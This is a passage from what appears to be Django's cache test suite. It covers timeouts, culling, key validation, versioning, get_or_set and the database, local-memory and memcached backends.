def test_set_many_expiration(self):
# set_many takes a second ``timeout`` parameter
cache.set_many({"key1": "spam", "key2": "eggs"}, 1)
time.sleep(2)
self.assertIsNone(cache.get("key1"))
self.assertIsNone(cache.get("key2"))
def test_delete_many(self):
# Multiple keys can be deleted using delete_many
cache.set_many({'key1': 'spam', 'key2': 'eggs', 'key3': 'ham'})
cache.delete_many(["key1", "key2"])
self.assertIsNone(cache.get("key1"))
self.assertIsNone(cache.get("key2"))
self.assertEqual(cache.get("key3"), "ham")
def test_clear(self):
# The cache can be emptied using clear
cache.set_many({'key1': 'spam', 'key2': 'eggs'})
cache.clear()
self.assertIsNone(cache.get("key1"))
self.assertIsNone(cache.get("key2"))
def test_long_timeout(self):
"""
Follow memcached's convention where a timeout greater than 30 days is
treated as an absolute expiration timestamp instead of a relative
offset (#12399).
"""
cache.set('key1', 'eggs', 60 * 60 * 24 * 30 + 1) # 30 days + 1 second
self.assertEqual(cache.get('key1'), 'eggs')
self.assertIs(cache.add('key2', 'ham', 60 * 60 * 24 * 30 + 1), True)
self.assertEqual(cache.get('key2'), 'ham')
cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, 60 * 60 * 24 * 30 + 1)
self.assertEqual(cache.get('key3'), 'sausage')
self.assertEqual(cache.get('key4'), 'lobster bisque')
def test_forever_timeout(self):
"""
Passing in None into timeout results in a value that is cached forever
"""
cache.set('key1', 'eggs', None)
self.assertEqual(cache.get('key1'), 'eggs')
self.assertIs(cache.add('key2', 'ham', None), True)
self.assertEqual(cache.get('key2'), 'ham')
self.assertIs(cache.add('key1', 'new eggs', None), False)
self.assertEqual(cache.get('key1'), 'eggs')
cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, None)
self.assertEqual(cache.get('key3'), 'sausage')
self.assertEqual(cache.get('key4'), 'lobster bisque')
cache.set('key5', 'belgian fries', timeout=1)
self.assertIs(cache.touch('key5', timeout=None), True)
time.sleep(2)
self.assertEqual(cache.get('key5'), 'belgian fries')
def test_zero_timeout(self):
"""
Passing in zero into timeout results in a value that is not cached
"""
cache.set('key1', 'eggs', 0)
self.assertIsNone(cache.get('key1'))
self.assertIs(cache.add('key2', 'ham', 0), True)
self.assertIsNone(cache.get('key2'))
cache.set_many({'key3': 'sausage', 'key4': 'lobster bisque'}, 0)
self.assertIsNone(cache.get('key3'))
self.assertIsNone(cache.get('key4'))
cache.set('key5', 'belgian fries', timeout=5)
self.assertIs(cache.touch('key5', timeout=0), True)
self.assertIsNone(cache.get('key5'))
def test_float_timeout(self):
# Make sure a timeout given as a float doesn't crash anything.
cache.set("key1", "spam", 100.2)
self.assertEqual(cache.get("key1"), "spam")
def _perform_cull_test(self, cull_cache_name, initial_count, final_count):
try:
cull_cache = caches[cull_cache_name]
except InvalidCacheBackendError:
self.skipTest("Culling isn't implemented.")
# Create initial cache key entries. This will overflow the cache,
# causing a cull.
for i in range(1, initial_count):
cull_cache.set('cull%d' % i, 'value', 1000)
count = 0
# Count how many keys are left in the cache.
for i in range(1, initial_count):
if cull_cache.has_key('cull%d' % i):
count += 1
self.assertEqual(count, final_count)
def test_cull(self):
self._perform_cull_test('cull', 50, 29)
def test_zero_cull(self):
self._perform_cull_test('zero_cull', 50, 19)
def test_cull_delete_when_store_empty(self):
try:
cull_cache = caches['cull']
except InvalidCacheBackendError:
self.skipTest("Culling isn't implemented.")
old_max_entries = cull_cache._max_entries
# Force _cull to delete on first cached record.
cull_cache._max_entries = -1
try:
cull_cache.set('force_cull_delete', 'value', 1000)
self.assertIs(cull_cache.has_key('force_cull_delete'), True)
finally:
cull_cache._max_entries = old_max_entries
def _perform_invalid_key_test(self, key, expected_warning):
"""
All the builtin backends should warn (except memcached that should
error) on keys that would be refused by memcached. This encourages
portable caching code without making it too difficult to use production
backends with more liberal key rules. Refs #6447.
"""
# mimic custom ``make_key`` method being defined since the default will
# never show the below warnings
def func(key, *args):
return key
old_func = cache.key_func
cache.key_func = func
tests = [
('add', [key, 1]),
('get', [key]),
('set', [key, 1]),
('incr', [key]),
('decr', [key]),
('touch', [key]),
('delete', [key]),
('get_many', [[key, 'b']]),
('set_many', [{key: 1, 'b': 2}]),
('delete_many', [{key: 1, 'b': 2}]),
]
try:
for operation, args in tests:
with self.subTest(operation=operation):
with self.assertWarns(CacheKeyWarning) as cm:
getattr(cache, operation)(*args)
self.assertEqual(str(cm.warning), expected_warning)
finally:
cache.key_func = old_func
def test_invalid_key_characters(self):
# memcached doesn't allow whitespace or control characters in keys.
key = 'key with spaces and 清'
self._perform_invalid_key_test(key, KEY_ERRORS_WITH_MEMCACHED_MSG % key)
def test_invalid_key_length(self):
# memcached limits key length to 250.
key = ('a' * 250) + '清'
expected_warning = (
'Cache key will cause errors if used with memcached: '
'%r (longer than %s)' % (key, 250)
)
self._perform_invalid_key_test(key, expected_warning)
def test_cache_versioning_get_set(self):
# set, using default version = 1
cache.set('answer1', 42)
self.assertEqual(cache.get('answer1'), 42)
self.assertEqual(cache.get('answer1', version=1), 42)
self.assertIsNone(cache.get('answer1', version=2))
self.assertIsNone(caches['v2'].get('answer1'))
self.assertEqual(caches['v2'].get('answer1', version=1), 42)
self.assertIsNone(caches['v2'].get('answer1', version=2))
# set, default version = 1, but manually override version = 2
cache.set('answer2', 42, version=2)
self.assertIsNone(cache.get('answer2'))
self.assertIsNone(cache.get('answer2', version=1))
self.assertEqual(cache.get('answer2', version=2), 42)
self.assertEqual(caches['v2'].get('answer2'), 42)
self.assertIsNone(caches['v2'].get('answer2', version=1))
self.assertEqual(caches['v2'].get('answer2', version=2), 42)
# v2 set, using default version = 2
caches['v2'].set('answer3', 42)
self.assertIsNone(cache.get('answer3'))
self.assertIsNone(cache.get('answer3', version=1))
self.assertEqual(cache.get('answer3', version=2), 42)
self.assertEqual(caches['v2'].get('answer3'), 42)
self.assertIsNone(caches['v2'].get('answer3', version=1))
self.assertEqual(caches['v2'].get('answer3', version=2), 42)
# v2 set, default version = 2, but manually override version = 1
caches['v2'].set('answer4', 42, version=1)
self.assertEqual(cache.get('answer4'), 42)
self.assertEqual(cache.get('answer4', version=1), 42)
self.assertIsNone(cache.get('answer4', version=2))
self.assertIsNone(caches['v2'].get('answer4'))
self.assertEqual(caches['v2'].get('answer4', version=1), 42)
self.assertIsNone(caches['v2'].get('answer4', version=2))
def test_cache_versioning_add(self):
# add, default version = 1, but manually override version = 2
self.assertIs(cache.add('answer1', 42, version=2), True)
self.assertIsNone(cache.get('answer1', version=1))
self.assertEqual(cache.get('answer1', version=2), 42)
self.assertIs(cache.add('answer1', 37, version=2), False)
self.assertIsNone(cache.get('answer1', version=1))
self.assertEqual(cache.get('answer1', version=2), 42)
self.assertIs(cache.add('answer1', 37, version=1), True)
self.assertEqual(cache.get('answer1', version=1), 37)
self.assertEqual(cache.get('answer1', version=2), 42)
# v2 add, using default version = 2
self.assertIs(caches['v2'].add('answer2', 42), True)
self.assertIsNone(cache.get('answer2', version=1))
self.assertEqual(cache.get('answer2', version=2), 42)
self.assertIs(caches['v2'].add('answer2', 37), False)
self.assertIsNone(cache.get('answer2', version=1))
self.assertEqual(cache.get('answer2', version=2), 42)
self.assertIs(caches['v2'].add('answer2', 37, version=1), True)
self.assertEqual(cache.get('answer2', version=1), 37)
self.assertEqual(cache.get('answer2', version=2), 42)
# v2 add, default version = 2, but manually override version = 1
self.assertIs(caches['v2'].add('answer3', 42, version=1), True)
self.assertEqual(cache.get('answer3', version=1), 42)
self.assertIsNone(cache.get('answer3', version=2))
self.assertIs(caches['v2'].add('answer3', 37, version=1), False)
self.assertEqual(cache.get('answer3', version=1), 42)
self.assertIsNone(cache.get('answer3', version=2))
self.assertIs(caches['v2'].add('answer3', 37), True)
self.assertEqual(cache.get('answer3', version=1), 42)
self.assertEqual(cache.get('answer3', version=2), 37)
def test_cache_versioning_has_key(self):
cache.set('answer1', 42)
# has_key
self.assertIs(cache.has_key('answer1'), True)
self.assertIs(cache.has_key('answer1', version=1), True)
self.assertIs(cache.has_key('answer1', version=2), False)
self.assertIs(caches['v2'].has_key('answer1'), False)
self.assertIs(caches['v2'].has_key('answer1', version=1), True)
self.assertIs(caches['v2'].has_key('answer1', version=2), False)
def test_cache_versioning_delete(self):
cache.set('answer1', 37, version=1)
cache.set('answer1', 42, version=2)
self.assertIs(cache.delete('answer1'), True)
self.assertIsNone(cache.get('answer1', version=1))
self.assertEqual(cache.get('answer1', version=2), 42)
cache.set('answer2', 37, version=1)
cache.set('answer2', 42, version=2)
self.assertIs(cache.delete('answer2', version=2), True)
self.assertEqual(cache.get('answer2', version=1), 37)
self.assertIsNone(cache.get('answer2', version=2))
cache.set('answer3', 37, version=1)
cache.set('answer3', 42, version=2)
self.assertIs(caches['v2'].delete('answer3'), True)
self.assertEqual(cache.get('answer3', version=1), 37)
self.assertIsNone(cache.get('answer3', version=2))
cache.set('answer4', 37, version=1)
cache.set('answer4', 42, version=2)
self.assertIs(caches['v2'].delete('answer4', version=1), True)
self.assertIsNone(cache.get('answer4', version=1))
self.assertEqual(cache.get('answer4', version=2), 42)
def test_cache_versioning_incr_decr(self):
cache.set('answer1', 37, version=1)
cache.set('answer1', 42, version=2)
self.assertEqual(cache.incr('answer1'), 38)
self.assertEqual(cache.get('answer1', version=1), 38)
self.assertEqual(cache.get('answer1', version=2), 42)
self.assertEqual(cache.decr('answer1'), 37)
self.assertEqual(cache.get('answer1', version=1), 37)
self.assertEqual(cache.get('answer1', version=2), 42)
cache.set('answer2', 37, version=1)
cache.set('answer2', 42, version=2)
self.assertEqual(cache.incr('answer2', version=2), 43)
self.assertEqual(cache.get('answer2', version=1), 37)
self.assertEqual(cache.get('answer2', version=2), 43)
self.assertEqual(cache.decr('answer2', version=2), 42)
self.assertEqual(cache.get('answer2', version=1), 37)
self.assertEqual(cache.get('answer2', version=2), 42)
cache.set('answer3', 37, version=1)
cache.set('answer3', 42, version=2)
self.assertEqual(caches['v2'].incr('answer3'), 43)
self.assertEqual(cache.get('answer3', version=1), 37)
self.assertEqual(cache.get('answer3', version=2), 43)
self.assertEqual(caches['v2'].decr('answer3'), 42)
self.assertEqual(cache.get('answer3', version=1), 37)
self.assertEqual(cache.get('answer3', version=2), 42)
cache.set('answer4', 37, version=1)
cache.set('answer4', 42, version=2)
self.assertEqual(caches['v2'].incr('answer4', version=1), 38)
self.assertEqual(cache.get('answer4', version=1), 38)
self.assertEqual(cache.get('answer4', version=2), 42)
self.assertEqual(caches['v2'].decr('answer4', version=1), 37)
self.assertEqual(cache.get('answer4', version=1), 37)
self.assertEqual(cache.get('answer4', version=2), 42)
def test_cache_versioning_get_set_many(self):
# set, using default version = 1
cache.set_many({'ford1': 37, 'arthur1': 42})
self.assertEqual(cache.get_many(['ford1', 'arthur1']), {'ford1': 37, 'arthur1': 42})
self.assertEqual(cache.get_many(['ford1', 'arthur1'], version=1), {'ford1': 37, 'arthur1': 42})
self.assertEqual(cache.get_many(['ford1', 'arthur1'], version=2), {})
self.assertEqual(caches['v2'].get_many(['ford1', 'arthur1']), {})
self.assertEqual(caches['v2'].get_many(['ford1', 'arthur1'], version=1), {'ford1': 37, 'arthur1': 42})
self.assertEqual(caches['v2'].get_many(['ford1', 'arthur1'], version=2), {})
# set, default version = 1, but manually override version = 2
cache.set_many({'ford2': 37, 'arthur2': 42}, version=2)
self.assertEqual(cache.get_many(['ford2', 'arthur2']), {})
self.assertEqual(cache.get_many(['ford2', 'arthur2'], version=1), {})
self.assertEqual(cache.get_many(['ford2', 'arthur2'], version=2), {'ford2': 37, 'arthur2': 42})
self.assertEqual(caches['v2'].get_many(['ford2', 'arthur2']), {'ford2': 37, 'arthur2': 42})
self.assertEqual(caches['v2'].get_many(['ford2', 'arthur2'], version=1), {})
self.assertEqual(caches['v2'].get_many(['ford2', 'arthur2'], version=2), {'ford2': 37, 'arthur2': 42})
# v2 set, using default version = 2
caches['v2'].set_many({'ford3': 37, 'arthur3': 42})
self.assertEqual(cache.get_many(['ford3', 'arthur3']), {})
self.assertEqual(cache.get_many(['ford3', 'arthur3'], version=1), {})
self.assertEqual(cache.get_many(['ford3', 'arthur3'], version=2), {'ford3': 37, 'arthur3': 42})
self.assertEqual(caches['v2'].get_many(['ford3', 'arthur3']), {'ford3': 37, 'arthur3': 42})
self.assertEqual(caches['v2'].get_many(['ford3', 'arthur3'], version=1), {})
self.assertEqual(caches['v2'].get_many(['ford3', 'arthur3'], version=2), {'ford3': 37, 'arthur3': 42})
# v2 set, default version = 2, but manually override version = 1
caches['v2'].set_many({'ford4': 37, 'arthur4': 42}, version=1)
self.assertEqual(cache.get_many(['ford4', 'arthur4']), {'ford4': 37, 'arthur4': 42})
self.assertEqual(cache.get_many(['ford4', 'arthur4'], version=1), {'ford4': 37, 'arthur4': 42})
self.assertEqual(cache.get_many(['ford4', 'arthur4'], version=2), {})
self.assertEqual(caches['v2'].get_many(['ford4', 'arthur4']), {})
self.assertEqual(caches['v2'].get_many(['ford4', 'arthur4'], version=1), {'ford4': 37, 'arthur4': 42})
self.assertEqual(caches['v2'].get_many(['ford4', 'arthur4'], version=2), {})
def test_incr_version(self):
cache.set('answer', 42, version=2)
self.assertIsNone(cache.get('answer'))
self.assertIsNone(cache.get('answer', version=1))
self.assertEqual(cache.get('answer', version=2), 42)
self.assertIsNone(cache.get('answer', version=3))
self.assertEqual(cache.incr_version('answer', version=2), 3)
self.assertIsNone(cache.get('answer'))
self.assertIsNone(cache.get('answer', version=1))
self.assertIsNone(cache.get('answer', version=2))
self.assertEqual(cache.get('answer', version=3), 42)
caches['v2'].set('answer2', 42)
self.assertEqual(caches['v2'].get('answer2'), 42)
self.assertIsNone(caches['v2'].get('answer2', version=1))
self.assertEqual(caches['v2'].get('answer2', version=2), 42)
self.assertIsNone(caches['v2'].get('answer2', version=3))
self.assertEqual(caches['v2'].incr_version('answer2'), 3)
self.assertIsNone(caches['v2'].get('answer2'))
self.assertIsNone(caches['v2'].get('answer2', version=1))
self.assertIsNone(caches['v2'].get('answer2', version=2))
self.assertEqual(caches['v2'].get('answer2', version=3), 42)
with self.assertRaises(ValueError):
cache.incr_version('does_not_exist')
def test_decr_version(self):
cache.set('answer', 42, version=2)
self.assertIsNone(cache.get('answer'))
self.assertIsNone(cache.get('answer', version=1))
self.assertEqual(cache.get('answer', version=2), 42)
self.assertEqual(cache.decr_version('answer', version=2), 1)
self.assertEqual(cache.get('answer'), 42)
self.assertEqual(cache.get('answer', version=1), 42)
self.assertIsNone(cache.get('answer', version=2))
caches['v2'].set('answer2', 42)
self.assertEqual(caches['v2'].get('answer2'), 42)
self.assertIsNone(caches['v2'].get('answer2', version=1))
self.assertEqual(caches['v2'].get('answer2', version=2), 42)
self.assertEqual(caches['v2'].decr_version('answer2'), 1)
self.assertIsNone(caches['v2'].get('answer2'))
self.assertEqual(caches['v2'].get('answer2', version=1), 42)
self.assertIsNone(caches['v2'].get('answer2', version=2))
with self.assertRaises(ValueError):
cache.decr_version('does_not_exist', version=2)
def test_custom_key_func(self):
# Two caches with different key functions aren't visible to each other
cache.set('answer1', 42)
self.assertEqual(cache.get('answer1'), 42)
self.assertIsNone(caches['custom_key'].get('answer1'))
self.assertIsNone(caches['custom_key2'].get('answer1'))
caches['custom_key'].set('answer2', 42)
self.assertIsNone(cache.get('answer2'))
self.assertEqual(caches['custom_key'].get('answer2'), 42)
self.assertEqual(caches['custom_key2'].get('answer2'), 42)
def test_cache_write_unpicklable_object(self):
fetch_middleware = FetchFromCacheMiddleware(empty_response)
fetch_middleware.cache = cache
request = self.factory.get('/cache/test')
request._cache_update_cache = True
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNone(get_cache_data)
content = 'Testing cookie serialization.'
def get_response(req):
response = HttpResponse(content)
response.set_cookie('foo', 'bar')
return response
update_middleware = UpdateCacheMiddleware(get_response)
update_middleware.cache = cache
response = update_middleware(request)
get_cache_data = fetch_middleware.process_request(request)
self.assertIsNotNone(get_cache_data)
self.assertEqual(get_cache_data.content, content.encode())
self.assertEqual(get_cache_data.cookies, response.cookies)
UpdateCacheMiddleware(lambda req: get_cache_data)(request)
get_cache_data = fetch_middleware.process_request(request)
self.assertIsNotNone(get_cache_data)
self.assertEqual(get_cache_data.content, content.encode())
self.assertEqual(get_cache_data.cookies, response.cookies)
def test_add_fail_on_pickleerror(self):
# Shouldn't fail silently if trying to cache an unpicklable type.
with self.assertRaises(pickle.PickleError):
cache.add('unpicklable', Unpicklable())
def test_set_fail_on_pickleerror(self):
with self.assertRaises(pickle.PickleError):
cache.set('unpicklable', Unpicklable())
def test_get_or_set(self):
self.assertIsNone(cache.get('projector'))
self.assertEqual(cache.get_or_set('projector', 42), 42)
self.assertEqual(cache.get('projector'), 42)
self.assertIsNone(cache.get_or_set('null', None))
def test_get_or_set_callable(self):
def my_callable():
return 'value'
self.assertEqual(cache.get_or_set('mykey', my_callable), 'value')
self.assertEqual(cache.get_or_set('mykey', my_callable()), 'value')
def test_get_or_set_callable_returning_none(self):
self.assertIsNone(cache.get_or_set('mykey', lambda: None))
# Previous get_or_set() doesn't store None in the cache.
self.assertEqual(cache.get('mykey', 'default'), 'default')
def test_get_or_set_version(self):
msg = "get_or_set() missing 1 required positional argument: 'default'"
self.assertEqual(cache.get_or_set('brian', 1979, version=2), 1979)
with self.assertRaisesMessage(TypeError, msg):
cache.get_or_set('brian')
with self.assertRaisesMessage(TypeError, msg):
cache.get_or_set('brian', version=1)
self.assertIsNone(cache.get('brian', version=1))
self.assertEqual(cache.get_or_set('brian', 42, version=1), 42)
self.assertEqual(cache.get_or_set('brian', 1979, version=2), 1979)
self.assertIsNone(cache.get('brian', version=3))
def test_get_or_set_racing(self):
with mock.patch('%s.%s' % (settings.CACHES['default']['BACKEND'], 'add')) as cache_add:
# Simulate cache.add() failing to add a value. In that case, the
# default value should be returned.
cache_add.return_value = False
self.assertEqual(cache.get_or_set('key', 'default'), 'default')
@override_settings(CACHES=caches_setting_for_tests(
BACKEND='django.core.cache.backends.db.DatabaseCache',
# Spaces are used in the table name to ensure quoting/escaping is working
LOCATION='test cache table'
))
class DBCacheTests(BaseCacheTests, TransactionTestCase):
available_apps = ['cache']
def setUp(self):
# The super calls needs to happen first for the settings override.
super().setUp()
self.create_table()
def tearDown(self):
# The super call needs to happen first because it uses the database.
super().tearDown()
self.drop_table()
def create_table(self):
management.call_command('createcachetable', verbosity=0)
def drop_table(self):
with connection.cursor() as cursor:
table_name = connection.ops.quote_name('test cache table')
cursor.execute('DROP TABLE %s' % table_name)
def test_get_many_num_queries(self):
cache.set_many({'a': 1, 'b': 2})
cache.set('expired', 'expired', 0.01)
with self.assertNumQueries(1):
self.assertEqual(cache.get_many(['a', 'b']), {'a': 1, 'b': 2})
time.sleep(0.02)
with self.assertNumQueries(2):
self.assertEqual(cache.get_many(['a', 'b', 'expired']), {'a': 1, 'b': 2})
def test_delete_many_num_queries(self):
cache.set_many({'a': 1, 'b': 2, 'c': 3})
with self.assertNumQueries(1):
cache.delete_many(['a', 'b', 'c'])
def test_zero_cull(self):
self._perform_cull_test('zero_cull', 50, 18)
def test_second_call_doesnt_crash(self):
out = io.StringIO()
management.call_command('createcachetable', stdout=out)
self.assertEqual(out.getvalue(), "Cache table 'test cache table' already exists.\n" * len(settings.CACHES))
@override_settings(CACHES=caches_setting_for_tests(
BACKEND='django.core.cache.backends.db.DatabaseCache',
# Use another table name to avoid the 'table already exists' message.
LOCATION='createcachetable_dry_run_mode'
))
def test_createcachetable_dry_run_mode(self):
out = io.StringIO()
management.call_command('createcachetable', dry_run=True, stdout=out)
output = out.getvalue()
self.assertTrue(output.startswith("CREATE TABLE"))
def test_createcachetable_with_table_argument(self):
"""
Delete and recreate cache table with legacy behavior (explicitly
specifying the table name).
"""
self.drop_table()
out = io.StringIO()
management.call_command(
'createcachetable',
'test cache table',
verbosity=2,
stdout=out,
)
self.assertEqual(out.getvalue(), "Cache table 'test cache table' created.\n")
@override_settings(USE_TZ=True)
class DBCacheWithTimeZoneTests(DBCacheTests):
pass
class DBCacheRouter:
"""A router that puts the cache table on the 'other' database."""
def db_for_read(self, model, **hints):
if model._meta.app_label == 'django_cache':
return 'other'
return None
def db_for_write(self, model, **hints):
if model._meta.app_label == 'django_cache':
return 'other'
return None
def allow_migrate(self, db, app_label, **hints):
if app_label == 'django_cache':
return db == 'other'
return None
@override_settings(
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.db.DatabaseCache',
'LOCATION': 'my_cache_table',
},
},
)
class CreateCacheTableForDBCacheTests(TestCase):
databases = {'default', 'other'}
@override_settings(DATABASE_ROUTERS=[DBCacheRouter()])
def test_createcachetable_observes_database_router(self):
# cache table should not be created on 'default'
with self.assertNumQueries(0, using='default'):
management.call_command('createcachetable', database='default', verbosity=0)
# cache table should be created on 'other'
# Queries:
# 1: check table doesn't already exist
# 2: create savepoint (if transactional DDL is supported)
# 3: create the table
# 4: create the index
# 5: release savepoint (if transactional DDL is supported)
num = 5 if connections['other'].features.can_rollback_ddl else 3
with self.assertNumQueries(num, using='other'):
management.call_command('createcachetable', database='other', verbosity=0)
class PicklingSideEffect:
def __init__(self, cache):
self.cache = cache
self.locked = False
def __getstate__(self):
self.locked = self.cache._lock.locked()
return {}
limit_locmem_entries = override_settings(CACHES=caches_setting_for_tests(
BACKEND='django.core.cache.backends.locmem.LocMemCache',
OPTIONS={'MAX_ENTRIES': 9},
))
@override_settings(CACHES=caches_setting_for_tests(
BACKEND='django.core.cache.backends.locmem.LocMemCache',
))
class LocMemCacheTests(BaseCacheTests, TestCase):
def setUp(self):
super().setUp()
# LocMem requires a hack to make the other caches
# share a data store with the 'normal' cache.
caches['prefix']._cache = cache._cache
caches['prefix']._expire_info = cache._expire_info
caches['v2']._cache = cache._cache
caches['v2']._expire_info = cache._expire_info
caches['custom_key']._cache = cache._cache
caches['custom_key']._expire_info = cache._expire_info
caches['custom_key2']._cache = cache._cache
caches['custom_key2']._expire_info = cache._expire_info
@override_settings(CACHES={
'default': {'BACKEND': 'django.core.cache.backends.locmem.LocMemCache'},
'other': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
'LOCATION': 'other'
},
})
def test_multiple_caches(self):
"Multiple locmem caches are isolated"
cache.set('value', 42)
self.assertEqual(caches['default'].get('value'), 42)
self.assertIsNone(caches['other'].get('value'))
def test_locking_on_pickle(self):
"""#20613/#18541 -- Ensures pickling is done outside of the lock."""
bad_obj = PicklingSideEffect(cache)
cache.set('set', bad_obj)
self.assertFalse(bad_obj.locked, "Cache was locked during pickling")
self.assertIs(cache.add('add', bad_obj), True)
self.assertFalse(bad_obj.locked, "Cache was locked during pickling")
def test_incr_decr_timeout(self):
"""incr/decr does not modify expiry time (matches memcached behavior)"""
key = 'value'
_key = cache.make_key(key)
cache.set(key, 1, timeout=cache.default_timeout * 10)
expire = cache._expire_info[_key]
self.assertEqual(cache.incr(key), 2)
self.assertEqual(expire, cache._expire_info[_key])
self.assertEqual(cache.decr(key), 1)
self.assertEqual(expire, cache._expire_info[_key])
@limit_locmem_entries
def test_lru_get(self):
"""get() moves cache keys."""
for key in range(9):
cache.set(key, key, timeout=None)
for key in range(6):
self.assertEqual(cache.get(key), key)
cache.set(9, 9, timeout=None)
for key in range(6):
self.assertEqual(cache.get(key), key)
for key in range(6, 9):
self.assertIsNone(cache.get(key))
self.assertEqual(cache.get(9), 9)
@limit_locmem_entries
def test_lru_set(self):
"""set() moves cache keys."""
for key in range(9):
cache.set(key, key, timeout=None)
for key in range(3, 9):
cache.set(key, key, timeout=None)
cache.set(9, 9, timeout=None)
for key in range(3, 10):
self.assertEqual(cache.get(key), key)
for key in range(3):
self.assertIsNone(cache.get(key))
@limit_locmem_entries
def test_lru_incr(self):
"""incr() moves cache keys."""
for key in range(9):
cache.set(key, key, timeout=None)
for key in range(6):
self.assertEqual(cache.incr(key), key + 1)
cache.set(9, 9, timeout=None)
for key in range(6):
self.assertEqual(cache.get(key), key + 1)
for key in range(6, 9):
self.assertIsNone(cache.get(key))
self.assertEqual(cache.get(9), 9)
# memcached backend isn't guaranteed to be available.
# To check the memcached backend, the test settings file will
# need to contain at least one cache backend setting that points at
# your memcache server.
configured_caches = {}
for _cache_params in settings.CACHES.values():
configured_caches[_cache_params['BACKEND']] = _cache_params
MemcachedCache_params = configured_caches.get('django.core.cache.backends.memcached.MemcachedCache')
PyLibMCCache_params = configured_caches.get('django.core.cache.backends.memcached.PyLibMCCache')
# The memcached backends don't support cull-related options like `MAX_ENTRIES`.
memcached_excluded_caches = {'cull', 'zero_cull'}
class BaseMemcachedTests(BaseCacheTests):
# By default it's assumed that the client doesn't clean up connections
# properly, in which case the backend must do so after each request.
should_disconnect_on_close = True
def test_location_multiple_servers(self):
locations = [
['server1.tld', 'server2:11211'],
'server1.tld;server2:11211',
'server1.tld,server2:11211',
]
for location in locations:
with self.subTest(location=location):
params = {'BACKEND': self.base_params['BACKEND'], 'LOCATION': location}
with self.settings(CACHES={'default': params}):
self.assertEqual(cache._servers, ['server1.tld', 'server2:11211'])
def _perform_invalid_key_test(self, key, expected_warning):
"""
While other backends merely warn, memcached should raise for an invalid
key.
"""
msg = expected_warning.replace(key, cache.make_key(key))
tests = [
('add', [key, 1]),
('get', [key]),
('set', [key, 1]),
('incr', [key]),
('decr', [key]),
('touch', [key]),
('delete', [key]),
('get_many', [[key, 'b']]),
('set_many', [{key: 1, 'b': 2}]),
('delete_many', [{key: 1, 'b': 2}]),
]
for operation, args in tests:
with self.subTest(operation=operation):
with self.assertRaises(InvalidCacheKey) as cm:
getattr(cache, operation)(*args)
self.assertEqual(str(cm.exception), msg)
def test_default_never_expiring_timeout(self):
# Regression test for #22845
with self.settings(CACHES=caches_setting_for_tests(
base=self.base_params,
exclude=memcached_excluded_caches,
TIMEOUT=None)):
cache.set('infinite_foo', 'bar')
self.assertEqual(cache.get('infinite_foo'), 'bar')
def test_default_far_future_timeout(self):
# Regression test for #22845
with self.settings(CACHES=caches_setting_for_tests(
base=self.base_params,
exclude=memcached_excluded_caches,
# 60*60*24*365, 1 year
TIMEOUT=31536000)):
cache.set('future_foo', 'bar')
self.assertEqual(cache.get('future_foo'), 'bar')
def test_memcached_deletes_key_on_failed_set(self):
# By default memcached allows objects up to 1MB. For the cache_db session
# backend to always use the current session, memcached needs to delete
# the old key if it fails to set.
# pylibmc doesn't seem to have SERVER_MAX_VALUE_LENGTH as far as I can
# tell from a quick check of its source code. This is falling back to
# the default value exposed by python-memcached on my system.
max_value_length = getattr(cache._lib, 'SERVER_MAX_VALUE_LENGTH', 1048576)
cache.set('small_value', 'a')
self.assertEqual(cache.get('small_value'), 'a')
large_value = 'a' * (max_value_length + 1)
try:
cache.set('small_value', large_value)
except Exception:
# Some clients (e.g. pylibmc) raise when the value is too large,
# while others (e.g. python-memcached) intentionally return True
# indicating success. This test is primarily checking that the key
# was deleted, so the return/exception behavior for the set()
# itself is not important.
pass
# small_value should be deleted, or set if configured to accept larger values
value = cache.get('small_value')
self.assertTrue(value is None or value == large_value)
def test_close(self):
# For clients that don't manage their connections properly, the
# connection is closed when the request is complete.
signals.request_finished.disconnect(close_old_connections)
try:
with mock.patch.object(cache._class, 'disconnect_all', autospec=True) as mock_disconnect:
signals.request_finished.send(self.__class__)
self.assertIs(mock_disconnect.called, self.should_disconnect_on_close)
finally:
signals.request_finished.connect(close_old_connections)
def test_set_many_returns_failing_keys(self):
def fail_set_multi(mapping, *args, **kwargs):
return mapping.keys()
with mock.patch.object(cache._class, 'set_multi', side_effect=fail_set_multi):
failing_keys = cache.set_many({'key': 'value'})
self.assertEqual(failing_keys, ['key'])
@unittest.skipUnless(MemcachedCache_params, "MemcachedCache backend not configured")
@override_settings(CACHES=caches_setting_for_tests(
base=MemcachedCache_params,
exclude=memcached_excluded_caches,
))
class MemcachedCacheTests(BaseMemcachedTests, TestCase):
base_params = MemcachedCache_params
def test_memcached_uses_highest_pickle_version(self):
# Regression test for #19810
for cache_key in settings.CACHES:
with self.subTest(cache_key=cache_key):
self.assertEqual(caches[cache_key]._cache.pickleProtocol, pickle.HIGHEST_PROTOCOL)
@override_settings(CACHES=caches_setting_for_tests(
base=MemcachedCache_params,
exclude=memcached_excluded_caches,
OPTIONS={'server_max_value_length': 9999},
))
def test_memcached_options(self):
self.assertEqual(cache._cache.server_max_value_length, 9999)
def test_default_used_when_none_is_set(self):
"""
python-memcached doesn't support default in get() so this test
overrides the one in BaseCacheTests.
"""
cache.set('key_default_none', None)
self.assertEqual(cache.get('key_default_none', default='default'), 'default')
@unittest.skipUnless(PyLibMCCache_params, "PyLibMCCache backend not configured")
@override_settings(CACHES=caches_setting_for_tests(
base=PyLibMCCache_params,
exclude=memcached_excluded_caches,
))
class PyLibMCCacheTests(BaseMemcachedTests, TestCase):
base_params = PyLibMCCache_params
# libmemcached manages its own connections.
should_disconnect_on_close = False
@override_settings(CACHES=caches_setting_for_tests(
base=PyLibMCCache_params,
exclude=memcached_excluded_caches,
OPTIONS={
'binary': True,
'behaviors': {'tcp_nodelay': True},
},
))
def test_pylibmc_options(self):
self.assertTrue(cache._cache.binary)
self.assertEqual(cache._cache.behaviors['tcp_nodelay'], int(True))
def test_pylibmc_client_servers(self):
backend = self.base_params['BACKEND']
tests = [
('unix:/run/memcached/socket', '/run/memcached/socket'),
('/run/memcached/socket', '/run/memcached/socket'),
('127.0.0.1:11211', '127.0.0.1:11211'),
]
for location, expected in tests:
settings = {'default': {'BACKEND': backend, 'LOCATION': location}}
with self.subTest(location), self.settings(CACHES=settings):
self.assertEqual(cache.client_servers, [expected])
@override_settings(CACHES=caches_setting_for_tests(
BACKEND='django.core.cache.backends.filebased.FileBasedCache',
))
